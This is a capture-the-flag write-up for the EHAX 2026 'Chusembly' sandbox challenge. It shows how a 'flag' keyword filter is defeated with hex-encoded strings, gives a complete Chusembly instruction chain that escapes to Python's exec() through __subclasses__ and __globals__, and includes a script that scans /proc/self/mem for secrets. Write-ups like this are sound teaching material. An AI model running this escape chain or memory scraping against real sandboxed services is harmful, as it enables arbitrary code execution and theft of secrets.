← Back to EHAX 2026

Chusembly

Miscellaneous 162 pts

Challenge

I've created Chusembly - a revolutionary new programming language that's totally secure! It has registers, a stack, and everything a real language needs. I even added a safety...

URL: http://chall.ehax.in:6969/
Category: Miscellaneous / Sandbox Escape

Solution

Understanding Chusembly

The challenge presents a web form at / that accepts "Chusembly" code and executes it via a /run endpoint. Full documentation is available at /docs with per-instruction detail pages at /docs/<instruction>.

Registers: A, B, C, D (general purpose), E (special result register for CALL, PROP, CMP, IDX).

Key Instructions:

  • LD <register> <value> -- Load value; supports 0x hex-encoded strings decoded as UTF-8
  • PROP <property_name> <register> -- E = getattr(register_value, property_name)
  • CALL <register> -- Calls the callable in register with A/B as args (None args omitted); result in E
  • IDX <source> <destination> -- destination = source[A] (A must be integer)
  • MOV <src> <dst> -- Copy value between registers
  • DEL <register> -- Set register to None
  • ADD <reg1> <reg2> -- Arithmetic addition or string concatenation
  • STDOUT <register> -- Print register value

Safety Check

The run_safely method contains a simple substring check:

if any(kw in code for kw in ('flag',)):
    raise ValueError('Unsafe code detected')

Only checks for the literal string "flag" in the raw code text. Hex-encoded values are decoded after this check, so 0x666C6167 (hex for "flag") passes the filter.

Exploit Chain: Python Sandbox Escape to exec()

Since PROP directly calls Python's getattr() and CALL invokes arbitrary callables, we can traverse the Python object hierarchy:

  1. str.__class__.__base__ -> <class 'object'>
  2. object.__subclasses__() -> list of all loaded classes
  3. main.Chusembly (last subclass, index -1) -> __init__.__globals__ -> main module namespace
  4. __globals__['__builtins__']['exec'] -> Python's exec() function
  5. Pass hex-encoded Python code to exec() to run arbitrary code
LD A hello
PROP __class__ A
MOV E A
PROP __base__ A
MOV E A
PROP __subclasses__ A
MOV E D
DEL A
DEL B
CALL D
MOV E B
LD A -1
IDX B C
PROP __init__ C
MOV E A
PROP __globals__ A
MOV E A
PROP __getitem__ A
MOV E D
LD A __builtins__
DEL B
CALL D
MOV E A
PROP __getitem__ A
MOV E D
LD A exec
DEL B
CALL D
MOV E C
LD A 0x<hex-encoded-python-code>
DEL B
CALL C

Finding the Flag in Memory

The container's filesystem had been destroyed by other players -- only /proc, /etc, /sys, /dev remained. The original flag.txt no longer existed on disk.

To recover the flag, we used exec() to scan process memory via /proc/self/mem, searching for the EH4X{ pattern across all readable memory regions:

import os
with open('/proc/self/maps','r') as f:
    maps = f.readlines()
mem_fd = os.open('/proc/self/mem', os.O_RDONLY)
for line in maps:
    parts = line.split()
    if len(parts) < 2 or 'r' not in parts[1]:
        continue
    start, end = [int(x,16) for x in parts[0].split('-')]
    size = end - start
    if size > 50*1024*1024:
        continue
    try:
        os.lseek(mem_fd, start, os.SEEK_SET)
        data = os.read(mem_fd, size)
        idx = data.find(b'EH4X{')
        if idx >= 0:
            flag_end = data.find(b'}', idx)
            if flag_end >= 0:
                print(data[idx:flag_end+1].decode('ascii','replace'))
    except:
        pass
os.close(mem_fd)

The Python code was hex-encoded and passed via LD A 0x<hex> to bypass both the space-splitting in LD arguments and the "flag" keyword filter.

Multiple copies of the flag were found in the heap, confirming the flag had been read by the process at some point.

Key Takeaways

  1. PROP directly calls Python's getattr(), enabling full object traversal for sandbox escape
  2. CALL invokes arbitrary callables with register-based arguments, including exec()
  3. The safety check is a trivial substring match on raw code text, easily bypassed with hex encoding
  4. Hex-encoded string values in LD are decoded after the safety check runs
  5. Even on a destroyed filesystem, process memory (/proc/self/mem) retains previously-read data including the flag
  6. Using index -1 for main.Chusembly (always the last subclass) avoids needing to find the exact subclass index